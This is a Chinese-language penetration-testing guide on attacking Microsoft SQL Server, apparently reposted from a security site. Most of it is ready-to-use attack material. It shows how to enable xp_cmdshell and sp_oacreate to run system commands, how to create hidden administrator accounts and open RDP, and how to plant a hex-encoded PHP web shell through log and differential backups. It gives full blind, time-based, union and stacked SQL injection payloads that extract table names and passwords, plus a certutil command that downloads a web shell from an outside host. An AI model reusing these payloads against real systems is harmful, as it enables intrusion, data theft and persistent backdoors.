目录
SQLServer数据库
修改默认1433端口
SQLServer数据库的管理
SQLServer数据库的查询语句
SA权限开启xp_cmdshell获取主机权限
SA权限使用sp_oacreate执行系统命令
DB_owner权限LOG备份Getshell
DB_owner权限差异备份Getshell
盲注SQLServer数据库
延时注入
Union联合查询
堆叠注入
SQLServer获取权限的奇淫技巧
还原备份数据库
文章首发于安全客:https://www.anquanke.com/post/id/200154
SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR DELAY '0:0:2'
SQLServer有三个权限级别:
判断当前用户权限
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。
但是如果用navicat远程连接的话,只会显示2个实例数据库:ReportServer、ReportServerTempDB
打开SQLServer配置管理器——>SQLServer网络配置——>MSSQLSERVER的协议——>TCP/IP,右键属性
服务器名称:主机,端口
Windows身份验证管理
SQLServer身份验证管理
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:[email protected]/XCCMS_SocialBusinessDB
count(name)是查询总数
name是查询名字
*是查询详细信息
#查询数据库
select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息
#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U' #查询当前数据库中所有表的名字
select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息
select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息
#查询数据
select count(*) from test..users #查询test数据库user表的数据的条数
select * from test..users #查询test数据库user表的所有数据
查询当前数据库中所有表的大小
declare @table_spaceused table
(name nvarchar(100)
,rows int
,reserved nvarchar(100)
,data nvarchar(100)
,index_size nvarchar(100)
,unused nvarchar(100)
)
insert into @table_spaceused
(name,rows,reserved,data,index_size,unused )
exec sp_MSforeachtable
@command1='exec sp_spaceused ''?'''
select * from @table_spaceused
判断 xp_cmdshell 是否打开,1就是打开了,0就是关闭了
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令
或者
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
exec sp_configure;
exec xp_cmdshell 'whoami';
可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
使用下面命令查看是否可使用 sp_oacreate 执行系统命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问,可以使用以下命令打开。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
再次执行命令,发现不报错。此时可以执行系统命令了,但是使用 sp_oacreate 执行系统命令不回显
于是我们可以使用以下命令创建用户hack。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
SQLServer常见的备份策略:
利用前提:
alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
第四行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 的16进制表示
会在目标网站根目录下生成1.php和2.php文件,其中1.php 保存数据库,2.php就是我们需要连接的木马文件。
用菜刀连接即可
注:差异备份有概率会把网站搞崩,所以不建议使用差异备份
利用前提:
注:以下语句一条一条执行
create table [dbo].[test] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
Drop table [test]
然后会在目标网站根目录下生成shell.php木马文件
用菜刀连接即可
判断是否是SQLServer数据库
SQLServer数据库特有的表是:sysobjects ,所以可以用它来判断是否是SQLServer数据库
exists(select*from sysobjects)
判断当前数据库用户权限
and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public')) //public权限,较低
如果当前用户是sa,则执行三个都正常显示。如果是db_owner,则执行sa不正常显示,执行public正常显示。如果是public,则只执行public才正常显示
判断xp_cmdshell是否存在
and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
正常显示,说明已开启。如果不存在,则需要开启。
如果开启后,相关通过xp_cmdshell执行系统命令,需要该注入点存在堆叠注入
判断数据库的个数
and (select count(name) from master..sysdatabases)=N
由图可知,有7个数据库
判断dbid个数,一般数据库有多少个,dbid的值就为多少
and (select count(*) from master..sysdatabases where dbid=N)=1
通过dbid得到所有数据库名
当使用上一条命令不能执行时,可以使用下面的命令,查询数据库的个数,以及每个数据库的名字
判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5 //正常显示
and len(db_name(1))>6 //不正常显示
大于5正常显示,大于6不正常显示,所以第一个数据库长度是6,即
一般来说,查的前6个数据库就是自带的那6个数据库,第7个开始才是我们自己建的
and len(db_name(7))>3 //正常显示
and len(db_name(7))>4 //不正常显示
大于3正常显示,大于4不正常显示,所以第7个数据库名的长度为4
判断dbid为7数据库字符的ascii值
and ascii(substring(db_name(7),1,1))>100 //正常显示
and ascii(substring(db_name(7),1,1))>150 //不正常显示
and ascii(substring(db_name(7),1,1))>125 //不正常显示
and ascii(substring(db_name(7),1,1))>112 //正常显示
and ascii(substring(db_name(7),1,1))>118 //不正常显示
and ascii(substring(db_name(7),1,1))>115 //正常显示
and ascii(substring(db_name(7),1,1))>116 //不正常显示
大于115正常显示,大于116不正常显示,所以第七个数据库的第一个字符的ascii值为116,对应的字符是t
以此类推,数据库的第二个字符为 and ascii(substring(db_name(7),2,1))>100
数据库的第三个字符为:and ascii(substring(db_name(7),3,1))>100
数据库的第三个字符为:and ascii(substring(db_name(7),4,1))>100
最后得到第7个数据库名为:test
判断当前数据库名
判断数据库的长度,由以下得知数据库的长度是8
and len(db_name())>3 //正常显示
and len(db_name())>4 //不正常显示
大于3正常显示,大于4不正常显示,所以数据库名的长度为4
判断数据库字符的ascii值,用二分法
and ascii(substring(db_name(),1,1))>100 //正常显示
and ascii(substring(db_name(),1,1))>150 //不正常显示
and ascii(substring(db_name(),1,1))>125 //不正常显示
and ascii(substring(db_name(),1,1))>112 //正常显示
and ascii(substring(db_name(),1,1))>118 //不正常显示
and ascii(substring(db_name(),1,1))>115 //正常显示
and ascii(substring(db_name(),1,1))>116 //不正常显示
大于115正常显示,大于116不正常显示,所以数据库第一个字符的ascii值为116,对应的字符是t
以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>100
数据库的第三个字符为:and ascii(substring(db_name(),3,1))>100
数据库的第三个字符为:and ascii(substring(db_name(),4,1))>100
最后得到数据库名为:test
这里我们已经知道了当前数据库名为: test
爆破test数据库中表的个数
and (select count(name) from test..sysobjects where xtype='U')>0 正常显示
and (select count(name) from test..sysobjects where xtype='U')>1 不正常显示
所以test数据库只有一个表
爆破test数据库中表
这里爆破表的时候,不能爆破表名的长度,所以只能爆破表名的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时,说明这个字符位不存在,所以到前一位为止。注意,这里爆破得到的表名有 dbo.
第一个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
第一个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
第一个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
......
当爆破到第10个字符的时候,发现>0都不正常显示,说明不存在第10位
爆破得到表名为:dbo.users
如果有第二个表,第三个表...
爆破第二个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
爆破第二个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
爆破第二个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
......
爆破第三个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
爆破第三个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
爆破第三个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
这里我们爆出了test数据库中存在 dbo.users 表
爆破test数据库中user表的字段数
and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='users'))=3 #正常显示
所以users表有3个字段
这里我们爆出了test数据库中users表有3个字段
爆破test数据库中users表的字段名
爆破test数据库中user表的第一个字段名的长度
and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>1 正常显示
and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>2 不正常显示
所以users表的第一个字段名长度为2
爆破test数据库中user表的第一个字段的第一个字符的ascii值,二分法
and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),1,1))>N
爆破test数据库中user表的第一个字段的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),2,1))>N
........
最后得到第一个字段为:id
爆破test数据库中user表的第二个字段名的长度
and len((select top 1 col_name(object_id('users'),2) from test..sysobjects))>N
爆破test数据库中user表的第二个字段的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),1,1))>N
爆破test数据库中user表的第二个字段的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),2,1))>N
爆破test数据库中user表的第三个字段的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),3,1))>N
爆破test数据库中user表的第三个字段名的长度
and len((select top 1 col_name(object_id('users'),3) from test..sysobjects))>N
........
这里假设我们爆出了users表的三个字段名:id,username,password
爆test数据库user表中数据总条数
and (select count(*) from test..users)=N
由图可知只有四条数据
爆破test数据库中user表中password列中的数据
这里爆破数据的时候,不能爆破数据的长度,所以只能爆破数据的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时,说明这个字符位不存在,所以到前一位为止。
爆破test数据库中users表中password列中第一行数据的第一个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),1,1))>N
爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),2,1))>N
爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),3,1))>N
爆破test数据库中user表中password列中第一行数据的第四个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),4,1))>N
当爆破到第5个字符的时候,发现ascii>0都不正常显示,说明,第一个数据长度为4
最后爆出test数据库users表password列的第一条数据是:root
爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),1,1))>N
爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),2,1))>N
爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),3,1))>N
........
判断是否是SA权限
if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'
判断是否是站库分离(延时后返回正确页面,确定站库没有分离)
if(host_name()=@@servername) WAITFOR DELAY '0:0:2'
判断数据库的个数
IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))=55) WAITFOR DELAY '0:0:2'
判断是否开启xp_cmdshell
if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
更多延时注入payload,可以查看sqlmap
根据响应时间判断执行是否正确
首先order by查看有几列
1 order by 3 正常显示
1 order by 4 不正常显示
说明有3列
然后我们可以select NULL,NULL,想查询的数据
查询数据库版本
查询机器名
查询所有数据库名
SQLServer堆叠注入,由于执行的命令没有回显,所以需要结合时间盲注来查询数据。由于堆叠查询的语句会被执行,所以下面的SQLServer获取权限的奇淫技巧,就是利用到了堆叠注入这一特性。
利用前提:
这里很多人就会问了,既然是SA权限,不是可以直接利用xp_cmdshell执行系统命令吗?对,没错,但是你这里使用注入执行xp_cmdshell的命令没有回显。我们这个获取权限的思路就是,找到目标网站的绝对路径,然后往绝对路径下写入木马,然后获取权限。
我们这里是通过先找到目标网站的一个文件,然后通过遍历目标服务器的磁盘,找到该文件,将其路径写入自建的表中,然后再读取该表得到网站绝对路径。
这里利用的查找命令是
查找目标机器C盘下的test.txt文件
for /r c:\ %i in (test*.txt) do @echo %i #这里的文件名后缀前那个点一定要加*号
dir /s /b c:\test.txt
这里假设我们已经知道目标网站下有一个test.txt文件,
创建表hack,并添加一个tmp的字段
create table hack (tmp varchar(1000));--
查看表是否创建成功
python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test --tables
查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';--
或
;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i';--
以下两条语句均可
读取数据,得到目标网站绝对路径为:C:\phpstudy\www\
python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test -T hack --dump
将一句话木马写入目标网站根目录,并命名为shell.php。注意这里的一句话木马的 < 和 > 前要加上 ^
1;exec master..xp_cmdshell 'echo ^ > C:\phpstudy\www\shell.php';--
菜刀连接之
如果写入的木马文件连接不上的话,我们还可以通过下面手段使用 certutil 远程下载木马文件,前提是目标机器通公网。
1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--
连接下载的shell2.php木马即可!
鼠标右键数据库——>还原数据库
选择源设备,选择我们的备份数据库。然后目标数据库也选择该备份数据库,还原那里打上勾,点击确定即可。
相关文章:史上最详细的sqlServer手工注入详解
文章首发于安全客:https://www.anquanke.com/post/id/200154